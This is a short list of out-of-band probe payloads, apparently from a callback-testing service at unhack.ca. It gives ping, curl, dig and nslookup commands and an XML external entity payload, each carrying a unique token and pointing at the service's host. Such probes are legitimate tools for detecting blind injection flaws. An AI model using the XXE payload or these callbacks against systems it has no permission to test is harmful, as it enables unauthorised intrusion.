$ ping -c1 -p 00380a64287c3f6b872d55b0630e3200 unhack.ca
 

$ curl http://unhack.ca/p/380a64287c3f6b872d55b0630e32
 

$ dig 380a64287c3f6b872d55b0630e32 @unhack.ca
 

$ dig 380a64287c3f6b872d55b0630e32.ns.unhack.ca
 

C:\> nslookup 380a64287c3f6b872d55b0630e32 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/380a64287c3f6b872d55b0630e32">]>
    <foo>&xxe;</foo>